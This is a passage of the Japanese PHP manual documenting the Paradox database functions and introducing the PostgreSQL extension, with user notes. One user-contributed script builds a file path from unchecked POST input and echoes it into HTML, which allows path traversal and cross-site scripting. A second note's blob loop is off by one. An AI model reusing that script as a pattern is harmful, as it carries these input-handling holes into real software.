  • ≪ px_get_parameter
  • px_get_schema ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースのレコードを返す

px_get_record

(PECL paradox >= 1.0.0)

px_get_record — paradox データベースのレコードを返す

説明

px_get_record ( resource $pxdoc , int $num , int $mode = 0 ) : array

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

num

レコード番号は人為的な番号で、レコードがデータベースに格納された順番を表します。 最初のレコードの番号は 0 です。

mode

返される配列のキーを小文字または大文字に変換するために、 オプションの mode に PX_KEYTOLOWER あるいは PX_KEYTOUPPER を指定することができます。mode が渡されなかったりあるいは 0 であった場合は、 キーはフィールド名そのものとなります。 要素の値にはフィールドの値が含まれます。 NULL 値もそのまま残ります。NULL は 0.0、0 あるいは 空の文字列とはことなる値です。PX_FIELD_TIME 型のフィールドは、深夜 0 時から数えたミリ秒数を整数で返します。 timestamp は浮動小数点値で、ユリウス暦の開始時からの経過ミリ秒数を返します。 timestamp (PX_FIELD_TIMESTAMP) および date (PX_FIELD_DATE) は浮動小数点値で、 それぞれユリウス暦の開始時からの経過ミリ秒数、日数を返します。 これらの値を文字列表現に変換するには px-timestamp2string() および px-date2string() を使用します。

返り値

paradox データベースから、num 番目のレコードを返します。 レコードは連想配列形式で返され、フィールド名がキーとなります。

参考

  • px_retrieve_record() - paradox データベースのレコードを返す

User Contributed Notes

There are no user contributed notes for this page.


データベーススキーマを返す

  • ≪ px_get_record
  • px_get_value ≫
  • PHP Manual
  • Paradox 関数
  • データベーススキーマを返す

px_get_schema

(PECL paradox >= 1.0.0)

px_get_schema — データベーススキーマを返す

説明

px_get_schema ( resource $pxdoc , int $mode = 0 ) : array

px_get_schema() は、データベーススキーマを返します。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

mode

返される配列のキーを小文字または大文字に変換するために、 オプションの mode に PX_KEYTOLOWER あるいは PX_KEYTOUPPER を指定することができます。mode が渡されなかったりあるいは 0 であった場合は、 キーはフィールド名そのものとなります。

返り値

データベースファイルのスキーマを連想配列で返します。 キーの名前はフィールド名と等しくなります。 配列の各要素もまた連想配列となっており、2 つのフィールド type および size が含まれます。type は、 フィールド型の定数 の中のいずれかです。 size は、レコード内でこのフィールドが使用するバイト数です。 すべてのフィールドのサイズを合計したものが、 px-get-info() で得られるレコードサイズと等しくなります。

User Contributed Notes

Mr Muddy 14-Aug-2007 01:14
It's not especially pretty and there isn't any error trapping, so please don't use this on any sort of production data.  This will display the schema of a paradox data source....

<?
    /*
    Paradox database schema display
    Tim Burt
    27/07/07
    */

    //we're expecting a filename in the post vars
    if ($_POST['database_name'] != "") {

        //Set up anything we are likely to need
        $database_filename = "<path to your data file>".$_POST['database_name'];

        echo "<p><b>Schema for ".$_POST['database_name']."</b></p>\n";

        if(!$pxdoc = px_new()) {
      DIE("Problem !");
        }
        $fp = fopen($database_filename, "r");
        if(!px_open_fp($pxdoc, $fp)) {
         DIE("Couldn't open database file");
        }
        else {
            //output the database schema...
            $stock_schema = px_get_schema($pxdoc);

            if (is_array($stock_schema)) {
                foreach ($stock_schema as $key=>$value) {
                    echo "<br><b>".$key."</b> - Type ".$value['type'];
                    }
                }
            }
        px_close($pxdoc);
        px_delete($pxdoc);
        fclose($fp);

    }
    else {
        //show the form to get the filename
        echo "<form action=\"show_schema.php\" method=\"post\">\n";
        echo "<p>Data Source Name (include extension) : <input type=\"text\" size=\"10\" name=\"database_name\"></p>\n";
        echo "<p><input type=\"submit\" value=\"Show Schema !\">\n";
        echo "</form>\n";
    }

?>


値を取得する

  • ≪ px_get_schema
  • px_insert_record ≫
  • PHP Manual
  • Paradox 関数
  • 値を取得する

px_get_value

(PECL paradox >= 1.1.0)

px_get_value — 値を取得する

説明

px_get_value ( resource $pxdoc , string $name ) : float|false

さまざまな値を取得します。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

name

name は以下のいずれかです。

numprimkeys

プライマリキーの数。paradox データベースは、 常に最初の numprimkeys フィールドを プライマリキーとして扱います。

返り値

パラメータの値、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースにレコードを挿入する

  • ≪ px_get_value
  • px_new ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースにレコードを挿入する

px_insert_record

(PECL paradox >= 1.4.0)

px_insert_record — paradox データベースにレコードを挿入する

説明

px_insert_record ( resource $pxdoc , array $data ) : int

データベースに新しいレコードを挿入します。新しいレコードは、 必ずデータベースの最後に格納されるとは限りません。 最初に見つかった空きスロットの位置に格納されることになります。

レコードのデータは、フィールド値の配列として渡します。 配列の要素がデータベースのフィールドに対応していなければなりません。 配列の要素数がデータベースのフィールド数より少ない場合は、 それ以降のフィールドには null が設定されます。

ほとんどのフィールドは、その型に対応する PHP の型でデータを渡します。 例えば PX_FIELD_LONG、PX_FIELD_SHORT および PX_FIELD_AUTOINC の場合は long 型、PX_FIELD_CURRENCy および PX_FIELD_NUMBER の場合は double 型が使用されます。blob 型や alpha 型のフィールドには、文字列を使用します。

PX_FIELD_TIME および PX_FIELD_DATE については long 型を指定します。 前者は深夜 0 時からの経過ミリ秒数、後者は 0000 年 1 月 1 日からの 経過日数を指定します。以下に、現在の日付および時刻を paradox のフィールドで使用できる値に変換する例を 2 種類示します。

注意:

この関数は、pxlib >= 0.6.0 が使用されている場合にのみ有効です。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

data

px_retrieve_record() などが返す、 フィールド値を含む連想配列あるいは数値添字配列。

返り値

失敗した場合には false、成功した場合にはレコード数を返します。

例

例1 paradox データベースの日付/時刻フィールドに、現在の日付/時刻を設定する

<?php
$px = px_new();
$fp = fopen("test.db", "w+");
px_create_fp($px, $fp, array(array("timestamp", "@"), array("time", "T"), array("date", "D")));

$curdate = getdate();
$jd = gregoriantojd($curdate["mon"], $curdate["mday"], $curdate["year"]);
$days = $jd - 1721425; /* 紀元前 4714 年 1 月 1 日と 0000 年 1 月 1 日の差 */
$secs = $curdate["hours"]*3600 + $curdate["minutes"]*60 + $curdate["seconds"];
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));

$curtimestamp = microtime(true);
$days = (int) ($curtimestamp/86400);
$secs = $curtimestamp - ($days * 86400.0);
$days += 2440588; /* 紀元前 4714 年 1 月 1 日と 1970 年 1 月 1 日の差 */
$days -= 1721425; /* 紀元前 4714 年 1 月 1 日と 0000 年 1 月 1 日の差 */
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));
for($i=0; $i<2; $i++) {
    $rec = px_retrieve_record($px, $i);
    echo px_timestamp2string($px, $rec["timestamp"], "n/d/Y H:i:s")."\n";
    echo px_date2string($px, $rec["date"], "n/d/Y")."\n";
}
px_close($px);
px_delete($px);
?>

上の例の出力は以下となります。

2/21/2006 21:42:30
2/21/2006
2/21/2006 20:42:30
2/21/2006

jdtogregorian() に渡すユリウス日は、 紀元前 4714 年 1 月 1 日を基準としており、paradox ファイルで使用している値に変換するには 1721425 日ぶん加算しなければなりません。 日数をタイムスタンプに変換するのは簡単で、 日数に 86400000.0 を掛ければミリ秒数になります。

参考

px_update_record() - paradox データベースのレコードを更新する

User Contributed Notes

There are no user contributed notes for this page.


新しい paradox オブジェクトを作成する

  • ≪ px_insert_record
  • px_numfields ≫
  • PHP Manual
  • Paradox 関数
  • 新しい paradox オブジェクトを作成する

px_new

(PECL paradox >= 1.0.0)

px_new — 新しい paradox オブジェクトを作成する

説明

px_new ( ) : resource

新しい paradox オブジェクトを作成します。この関数は、 その他の関数をコールする前にコールする必要があります。 px_new() は、ディスク上にファイルを作成するのではなく、 ただ単に paradox オブジェクトのインスタンスを作成するだけです。 オブジェクト指向のインターフェイスを使用している場合は、 この関数をコールしてはいけません。代わりに new paradox_db() を使用してください。

返り値

失敗した場合は false を返します。

例

例1 Paradox データベースをオープンする

<?php
if(!$pxdoc = px_new()) {
  /* エラー処理 */
}
$fp = fopen("test.db", "r");
if(!px_open_fp($pxdoc, $fp)) {
  /* エラー処理 */
}
// ...
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

オブジェクト指向の API がお好みなら、上の例は、このようになります。

例2 Paradox データベースをオープンする

<?php
$fp = fopen("test.db", "r");
$pxdoc = new paradox_db();
if(!$pxdoc->open_fp($fp)) {
  /* エラー処理 */
}
// ...
$pxdoc->close();
fclose($fp);
?>

参考

  • px_delete() - paradox データベースのリソースを削除する
  • px_open_fp() - paradox データベースをオープンする

User Contributed Notes

There are no user contributed notes for this page.


データベース内のフィールドの数を返す

  • ≪ px_new
  • px_numrecords ≫
  • PHP Manual
  • Paradox 関数
  • データベース内のフィールドの数を返す

px_numfields

(PECL paradox >= 1.0.0)

px_numfields — データベース内のフィールドの数を返す

説明

px_numfields ( resource $pxdoc ) : int

データベースファイル内のフィールドの数を返します。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

返り値

データベースファイル内のフィールドの数を返します。この関数の返す値は、 px_get_info() が返す配列における要素 numfields の値と等しくなります。

User Contributed Notes

There are no user contributed notes for this page.


データベース内のレコードの数を返す

  • ≪ px_numfields
  • px_open_fp ≫
  • PHP Manual
  • Paradox 関数
  • データベース内のレコードの数を返す

px_numrecords

(PECL paradox >= 1.0.0)

px_numrecords — データベース内のレコードの数を返す

説明

px_numrecords ( resource $pxdoc ) : int

データベースファイル内のレコードの数を取得します。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

返り値

データベースファイル内のレコードの数を返します。この関数の返す値は、 px_get_info() が返す配列における要素 numrecords の値と等しくなります。

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースをオープンする

  • ≪ px_numrecords
  • px_put_record ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースをオープンする

px_open_fp

(PECL paradox >= 1.0.0)

px_open_fp — paradox データベースをオープンする

説明

px_open_fp ( resource $pxdoc , resource $file ) : bool

既存の paradox データベースファイルをオープンします。事前に fopen() で実際のファイルをオープンしておく必要があります。 この関数は、プライマリインデックスファイルをオープンして、 それを paradox データベースのように扱うために使用することもできます。 この機能は、プライマリインデックスの内容を調査したい人のためにサポートされています。 データベースファイルへのアクセスを高速化するなどのために使用することはできません。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

file

file は、 実際のデータベースファイルをパラメータに指定して fopen() をコールしたときの返り値です。レコードの更新や挿入を考えているのならば、 ファイルが書き込み可能でなければならないことに注意しましょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • fopen() - ファイルまたは URL をオープンする
  • The example at px_new() - 新しい paradox オブジェクトを作成する

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースにレコードを保存する

  • ≪ px_open_fp
  • px_retrieve_record ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースにレコードを保存する

px_put_record

(PECL paradox >= 1.0.0)

px_put_record — paradox データベースにレコードを保存する

説明

px_put_record ( resource $pxdoc , array $record , int $recpos = -1 ) : bool

paradox データベースにレコードを保存します。たとえ空きスロットがあったとしても、 レコードは常にデータベースの最後に追記されます。 最初に見つかった空きスロットにデータを書き込みたい場合は、 px_insert_record() を使用します。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

record

例えば px_retrieve_record() が返すような形式でのフィールド値を含む、 連想配列あるいは数値添字配列。

recpos

このオプションパラメータで、データベース内の現在の位置以降の レコード番号を指定します。この関数は、必要なだけ空のレコードを追加します。 このパラメータが必要になることは、まずないでしょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースのレコードを返す

  • ≪ px_put_record
  • px_set_blob_file ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースのレコードを返す

px_retrieve_record

(PECL paradox >= 1.4.0)

px_retrieve_record — paradox データベースのレコードを返す

説明

px_retrieve_record ( resource $pxdoc , int $num , int $mode = 0 ) : array

この関数は px_get_record() と非常によく似ていますが、 関数内でデータを取得するために使用している方法が違います。 この関数は、各フィールドの値を取得するのに pxlib の機能を使用しており、 結果としてより多くのフィールド型をサポートしています。

注意:

この関数は、pxlib >= 0.6.0 が使用されている場合にのみ有効です。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

num

レコード番号は人為的な番号で、レコードがデータベースに格納された順番を表します。 最初のレコードの番号は 0 です。

mode

キーを小文字または大文字に変換するために、 オプションの mode に PX_KEYTOLOWER あるいは PX_KEYTOUPPER を指定することができます。mode が渡されなかったりあるいは 0 であった場合は、 キーはフィールド名そのものとなります。 要素の値にはフィールドの値が含まれます。 NULL 値もそのまま残ります。NULL は 0.0、0 あるいは 空の文字列とはことなる値です。PX_FIELD_TIME 型のフィールドは、深夜 0 時から数えたミリ秒数を整数で返します。 timestamp は浮動小数点値で、ユリウス暦の開始時からの経過ミリ秒数を返します。

返り値

paradox データベースから、num 番目のレコードを返します。 レコードは連想配列形式で返され、フィールド名がキーとなります。

参考

  • px_get_record() - paradox データベースのレコードを返す

User Contributed Notes

There are no user contributed notes for this page.


blob を読み込むファイル名を設定する

  • ≪ px_retrieve_record
  • px_set_parameter ≫
  • PHP Manual
  • Paradox 関数
  • blob を読み込むファイル名を設定する

px_set_blob_file

(PECL paradox >= 1.3.0)

px_set_blob_file — blob を読み込むファイル名を設定する

説明

px_set_blob_file ( resource $pxdoc , string $filename ) : bool

blob の読み込みあるいは書き込みを行おうとしているファイルの名前を設定します。 この関数をコールしていない場合、もしデータがレコードの一部であるが blob ファイルに保存されていないときには、 px_get_record() あるいは px_retrieve_record() は blob フィールドのデータのみを返します。 blob データが blob フィールドのサイズに収まるほど小さい場合は、 それはレコード内に保存されます。

px_set_blob_file() をコールせずに
px_put_record()、
px_insert_record() あるいは
px_update_record() をコールすると、
データベースファイルに収まらない場合にデータが切り詰められます。

この関数を 2 度コールすると、 最初の blob ファイルを閉じて新しいほうをオープンします。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

filename

ファイルの名前。拡張子は .MB でなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Anonymous 18-Dec-2011 02:59
Note: Due to the (old) bug https://bugs.php.net/bug.php?id=57141 the database file passed to px_open_fp needs to be opened with write permissions (e.g. using the r+ flag). It will crash with a fatal error if opened in read only mode.
simon at centurioncomputers dot com dot au 22-Apr-2011 08:23
I could not get the OO interface to set_blob_file() to work....

<?php
$fp = fopen("/home/httpd/vhosts/newjcs/SALLY.DB", "r");
$pxdoc = new paradox_db();
$pxdoc->set_blob_file('/home/httpd/vhosts/newjcs/SALLY.MB');
?>
.............................
Fatal error: paradox_db::set_blob_file(): Paradox database has not been opened or created when setting the blob file
.............................

but worked nicely when called procedurally, so quick example to grab the images from a paradox DB , the field names you will have to change to suit.

<?php
$pxdoc = px_new();
$fp = fopen("/blah/SALLY.DB", "r");
px_open_fp($pxdoc, $fp);
px_set_blob_file($pxdoc,'/blah/SALLY.MB');
$numrecords=px_numrecords($pxdoc);
for($x=1;$x<=$numrecords;++$x){
    $yaks=px_get_record($pxdoc,$x);
    if($yaks['Picture']){
        file_put_contents("/blah/ims/{$yaks['Val No']}.bmp",$yaks['Picture']);
    }
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>


パラメータを設定する

  • ≪ px_set_blob_file
  • px_set_tablename ≫
  • PHP Manual
  • Paradox 関数
  • パラメータを設定する

px_set_parameter

(PECL paradox >= 1.1.0)

px_set_parameter — パラメータを設定する

説明

px_set_parameter ( resource $pxdoc , string $name , string $value ) : bool

さまざまなパラメータを設定します。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

name

設定したいパラメータの内容に応じて、name には以下のいずれかを指定します。

tablename

データベースヘッダに格納されるテーブル名。

targetencoding

出力用のエンコーディング。文字フィールドから読み込まれたデータは、 targetencoding で記録されます。

inputencoding

入力データをデータベースに保存する際のエンコーディング。

value

パラメータに設定する値。inputencoding および targetencoding の場合は、iconv あるいは recode が理解できるエンコーディング名 (例: iso-8859-1、utf-8、cp850) である必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • DOS コードページについては px_get_info() - paradox ファイルに関する多くの情報を返す を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


テーブルの名前を設定する (非推奨)

  • ≪ px_set_parameter
  • px_set_targetencoding ≫
  • PHP Manual
  • Paradox 関数
  • テーブルの名前を設定する (非推奨)

px_set_tablename

(PECL paradox >= 1.0.0)

px_set_tablename — テーブルの名前を設定する (非推奨)

説明

px_set_tablename ( resource $pxdoc , string $name ) : void|false

px_create_fp() で作成した、paradox データベースのテーブル名を設定します。この関数は非推奨です。代わりに px_set_parameter() を使用してください。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

tablename

テーブルの名前。明示的に設定されなかった場合は データベースファイルの名前が設定されます。

返り値

成功した場合に null、失敗した場合に false を返します。

参考

px_set_parameter() - パラメータを設定する

User Contributed Notes

There are no user contributed notes for this page.


文字フィールドのエンコーディングを設定する (非推奨)

  • ≪ px_set_tablename
  • px_set_value ≫
  • PHP Manual
  • Paradox 関数
  • 文字フィールドのエンコーディングを設定する (非推奨)

px_set_targetencoding

(PECL paradox >= 1.0.0)

px_set_targetencoding — 文字フィールドのエンコーディングを設定する (非推奨)

説明

px_set_targetencoding ( resource $pxdoc , string $encoding ) : bool

文字フィールドからデータを取得する際のエンコーディングを設定します。 すべての文字フィールドは、この関数で設定したエンコーディングに変換されます。 エンコーディングが指定されていない場合は、データベースファイルで指定した DOS コードページでデータが返されます。 encoding には iconv あるいは recode が理解できる文字列 ID を指定することができます。 Unix システムでは、iconv -l を実行すると使用可能なエンコーディングの一覧を取得できます。

この関数は非推奨です。代わりに px_set_parameter() を使用してください。

データベースファイルに保存されている DOS コードページを知るには px_get_info() も参照ください。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

encoding

出力用のエンコーディング。文字フィールドから読み込まれたデータは targetencoding で記録されます。

返り値

エンコーディングが設定されていない場合は false を返します。 これは、例えば未知のエンコーディングが設定されていたり、 pxlib がコード変換をサポートしていない場合にも起こります。 後者の場合は警告が発生します。

参考

px_set_parameter() - パラメータを設定する

User Contributed Notes

There are no user contributed notes for this page.


値を設定する

  • ≪ px_set_targetencoding
  • px_timestamp2string ≫
  • PHP Manual
  • Paradox 関数
  • 値を設定する

px_set_value

(PECL paradox >= 1.1.0)

px_set_value — 値を設定する

説明

px_set_value ( resource $pxdoc , string $name , float $value ) : bool

さまざまな値を設定します。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

name

name は以下のいずれかです。

numprimkeys

プライマリキーの数。paradox データベースは、 常に最初の numprimkeys フィールドを プライマリキーとして扱います。

value

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

px_set_parameter() - パラメータを設定する

User Contributed Notes

There are no user contributed notes for this page.


タイムスタンプを文字列に変換する

  • ≪ px_set_value
  • px_update_record ≫
  • PHP Manual
  • Paradox 関数
  • タイムスタンプを文字列に変換する

px_timestamp2string

(PECL paradox >= 1.4.0)

px_timestamp2string — タイムスタンプを文字列に変換する

説明

px_timestamp2string ( resource $pxdoc , float $value , string $format ) : string

paradox ファイルに保存されているタイムスタンプを、 人間が理解しやすい形式に変換します。 paradox のタイムスタンプは、0000 年 1 月 1 日からの経過ミリ秒数で保存されています。 この関数は利便性を高めるためだけのもので、 以下の例のように数学関数やカレンダー関数で同等のことを実現できます。

パラメータ

pxdoc

paradox データベースのリソース ID。

value

paradox データベースフィールドに保存された、 PX_FIELD_TIME 型あるいは PX_FIELD_TIMESTAMP 型の値。

format

date() で使用するのと同じ形式の文字列フォーマット。 この関数がサポートするプレースホルダは、date() でサポートしているもの (Y, y, m, n, d, j, H, h, G, g, i, s, A, a, L) のサブセットです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 paradox のタイムスタンプを人間が理解しやすい形式に変換する

<?php
$px = px_new();

/* paradox db 形式の日付データを再現します。*/
/* 0000 年 1 月 1 日から 700000 日後です。*/
$days = 700000;

/* カレンダー関数を使用して、人間が理解しやすい形式で */
/* 日付を表示します。                                 */
echo jdtogregorian($days+1721425)."\n";

/* paradox データベースのタイムスタンプに変換します。        */
/* タイムスタンプは 0000 年 1 月 1 日からの経過ミリ秒数です。*/
$stamp = $days * 86400.0 * 1000.0;
/* 一時間足します */
$stamp += 3600000.0;
/* これは '7/15/1917 01:00:00' を出力します。*/
echo px_timestamp2string($px, $stamp, "n/d/Y H:i:s")."\n";

px_delete($px);
?>

上の例の出力は以下となります。

7/15/1917
7/15/1917 01:00:00

jdtogregorian() に渡すユリウス日は、 紀元前 4714 年 1 月 1 日を基準としており、paradox ファイルで使用している値に変換するには 1721425 日ぶん加算しなければなりません。 日数をタイムスタンプに変換するのは簡単で、 日数に 86400000.0 を掛ければミリ秒数になります。

参考

  • px_date2string() - 日付を文字列に変換する
  • jdtogregorian() - ユリウス積算日をグレゴリウス日に変換する

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースのレコードを更新する

  • ≪ px_timestamp2string
  • PostgreSQL ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースのレコードを更新する

px_update_record

(PECL paradox >= 1.4.0)

px_update_record — paradox データベースのレコードを更新する

説明

px_update_record ( resource $pxdoc , array $data , int $num ) : bool

データベース内のレコードを更新します。レコード番号は 0 から始まります。

レコードのデータは、フィールド値の配列として渡します。 配列の要素がデータベースのフィールドに対応していなければなりません。 配列の要素数がデータベースのフィールド数より少ない場合は、 それ以降のフィールドには null が設定されます。

注意:

この関数は、pxlib >= 0.6.0 が使用されている場合にのみ有効です。

パラメータ

pxdoc

px_new() が返す、 paradox データベースのリソース ID。

data

px_retrieve_record() が返すフィールド値を含む連想配列。

num

レコード番号は人為的な番号で、レコードがデータベースに格納された順番を表します。 最初のレコードの番号は 0 です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

px_insert_record() - paradox データベースにレコードを挿入する

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
    • 基本的な使い方
  • PostgreSQL 関数
    • pg_affected_rows — 変更されたレコード(タプル)の数を返す
    • pg_cancel_query — 非同期クエリを取り消す
    • pg_client_encoding — クライアントのエンコーディングを取得する
    • pg_close — PostgreSQL 接続をクローズする
    • pg_connect_poll — 進行中の非同期接続のステータスをポーリングする
    • pg_connect — PostgreSQL 接続をオープンする
    • pg_connection_busy — 接続がビジーかどうか調べる
    • pg_connection_reset — 接続をリセット(再接続)する
    • pg_connection_status — 接続ステータスを取得する
    • pg_consume_input — 接続の入力を読み取る
    • pg_convert — 連想配列の値を、SQL 文として実行可能な形式に変換する
    • pg_copy_from — 配列からテーブルに挿入する
    • pg_copy_to — 配列にテーブルをコピーする
    • pg_dbname — データベース名を取得する
    • pg_delete — レコードを削除する
    • pg_end_copy — PostgreSQL バックエンドと同期する
    • pg_escape_bytea — bytea フィールドに挿入するために文字列をエスケープする
    • pg_escape_identifier — テキスト型フィールドに挿入するために、識別子をエスケープする
    • pg_escape_literal — テキスト型フィールドに挿入するために、リテラルをエスケープする
    • pg_escape_string — クエリに使う文字列をエスケープする
    • pg_execute — 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ
    • pg_fetch_all_columns — 指定したカラムの全ての行を配列として取得する
    • pg_fetch_all — 取得されたすべての行を配列として取得する
    • pg_fetch_array — 行を配列として取得する
    • pg_fetch_assoc — 行を連想配列として取得する
    • pg_fetch_object — 行をオブジェクトとして得る
    • pg_fetch_result — 結果リソースから値を返す
    • pg_fetch_row — 数値添字の配列として行を得る
    • pg_field_is_null — フィールドが SQL の NULL かどうか調べる
    • pg_field_name — フィールドの名前を返す
    • pg_field_num — 指定されたフィールドのフィールド番号を返す
    • pg_field_prtlen — 表示される長さを返す
    • pg_field_size — 指定したフィールドの内部記憶領域におけるサイズを返す
    • pg_field_table — tables フィールドの名前あるいは oid を返す
    • pg_field_type_oid — フィールド番号に対応する型 ID（OID）を返す
    • pg_field_type — フィールド番号に対応する型名を返す
    • pg_flush — 送信を待っているクエリデータをフラッシュする
    • pg_free_result — メモリを開放する
    • pg_get_notify — SQL NOTIFY メッセージを取得する
    • pg_get_pid — バックエンドのプロセス ID を得る
    • pg_get_result — 非同期クエリの結果を取得する
    • pg_host — 接続に関連するホスト名を返す
    • pg_insert — テーブルに配列を挿入する
    • pg_last_error — 特定の接続から直近のエラーメッセージ文字列を取得する
    • pg_last_notice — PostgreSQL サーバーからの直近の通知メッセージを返す
    • pg_last_oid — 直近の行のオブジェクト ID を返す
    • pg_lo_close — ラージオブジェクトをクローズする
    • pg_lo_create — ラージオブジェクトを生成する
    • pg_lo_export — ラージオブジェクトをファイルにエクスポートする
    • pg_lo_import — ファイルからラージオブジェクトをインポートする
    • pg_lo_open — ラージオブジェクトをオープンする
    • pg_lo_read_all — ラージオブジェクト全体を読み込みブラウザに直接送信する
    • pg_lo_read — ラージオブジェクトを読み込む
    • pg_lo_seek — ラージオブジェクトの位置をシークする
    • pg_lo_tell — ラージオブジェクトのカレントのシーク位置を返す
    • pg_lo_truncate — ラージオブジェクトを切り詰める
    • pg_lo_unlink — ラージオブジェクトを削除する
    • pg_lo_write — ラージオブジェクトを書く
    • pg_meta_data — テーブルからメタデータを取得する
    • pg_num_fields — フィールド数を返す
    • pg_num_rows — 行数を返す
    • pg_options — 接続に関連するオプションを取得する
    • pg_parameter_status — サーバーのパラメータ設定を検索する
    • pg_pconnect — 持続的な PostgreSQL 接続をオープンする
    • pg_ping — データベース接続を調べる
    • pg_port — 接続に関連するポート番号を返す
    • pg_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その完了を待つ
    • pg_put_line — NULL で終わる文字列を PostgreSQL バックエンドに送信する
    • pg_query_params — SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ
    • pg_query — クエリを実行する
    • pg_result_error_field — エラー報告の各フィールドを返す
    • pg_result_error — 結果に関連するエラーメッセージを取得する
    • pg_result_seek — 結果リソースの内部行オフセットを設定する
    • pg_result_status — クエリ結果のステータスを取得する
    • pg_select — レコードを選択する
    • pg_send_execute — 指定したパラメータでプリペアドステートメントを実行するリクエストを 送信し、その結果を待たない
    • pg_send_prepare — 指定したパラメータでプリペアドステートメントを作成するリクエストを 送信し、その結果を待たない
    • pg_send_query_params — コマンドとパラメータを分割してサーバーに送信し、その結果を待たない
    • pg_send_query — 非同期クエリを送信する
    • pg_set_client_encoding — クライアントのエンコーディングを設定する
    • pg_set_error_verbosity — pg_last_error および pg_result_error が返すメッセージの詳細度を指定する
    • pg_socket — PostgreSQL 接続の下層にある、読み取り専用のソケットのハンドルを取得する
    • pg_trace — PostgreSQL 接続のトレースを有効にする
    • pg_transaction_status — サーバー上で実行中のトランザクションの状態を返す
    • pg_tty — 接続に関する TTY 名を返す
    • pg_unescape_bytea — bytea 型のバイナリをアンエスケープする
    • pg_untrace — PostgreSQL 接続のトレースを無効にする
    • pg_update — テーブルを更新する
    • pg_version — クライアント・プロトコル・サーバーのバージョンを配列で返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PostgreSQL データベースはオープンソースの製品であり、無料で 使用可能です。Postgres は元々 UCB（カリフォルニア大学バークレイ校） コンピュータ・サイエンス学部で開発されたものです。この Postgres は、 現在いくつかの商用データベースにおいてサポートされつつある オブジェクトリレーショナルデータベース的概念の多くの先駆けでした。 Postgres は、SQL92/SQL99 言語サポート・トランザクション・参照整合性・ ストアドプロシージャ・拡張可能な型を提供しています。PostgreSQL は、 バークレイ校での Postgres のオリジナルコードの、オープンソースの 子孫にあたります。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

MIhail-Klr at gmx dot net 11-Jan-2015 11:14
This happened to me also with PHP 5.4.1
Copying the offending DLL everywhere didn't worket, and I don't have Postgres installed in the server, but also planned to use PHP against different Postgres versions, so the only solution I found that worked was to put in httpd.conf a line like this:

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

but refering to the libpq.dll that comes bundled with PHP, like this:

LoadFile "C:/php/libpq.dll"

After that it worked fine to me.

(c) https://stackoverflow.com/users/1373641/dayron-armas-pena
from: https://stackoverflow.com/questions/551734/php-not-loading-php-pgsql-dll-on-windows/10439560#10439560
nestor dot martinez at etb dot net dot co 22-Mar-2010 05:47
If you get a message like this:
"Php Startup: Unable to load dynamic library 'C:\php\ext\php_pgsql.dll"

1. In the Configuration File alter the order of the libraries "php_exif.dll" and "php_mbstring.dll", in such a way that is called first the library "php_mbstring.dll"

2. Copy all the libraries in the folder "bin" of your installation of PostgreSQL and paste them into the root folder of Windows

3. Uncomment the line "extension=php_pgsql.dll"
4. Now you should see on the page generated by "phpinfo()" section of PostgreSQL
some at domain dot name 29-Oct-2009 04:35
Another windows xp solution for "Unable to load dynamic library 'php_pgsql.dll' - The specified module could not be found."

Add the path of the postgres binaries to the system search-path:

Right click on "My Computer", select "properties", "advanced"-tab, "Environment variables"-button, "System variables"-section, select "path" and click "Edit" and add the path to the postgres binaries at the end, in my case it was "C:\Program Files\PostgreSQL\8.4\bin" and then restart the computer (or at least restart the apache/php processes)

Please note that the system-path can have several values, each separated by a semicolon ";".
emil at example dot com 07-Jan-2009 06:04
Unable to load dynamic library 'C:\\php\\ext\\php_pgsql.dll' - The specified module could not be found.

another solution:

copy libpq.dll/all files from zip (if you have php from installer)

add to httpd.conf:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/PHP/"
Loadfile "C:\php\php5ts.dll"
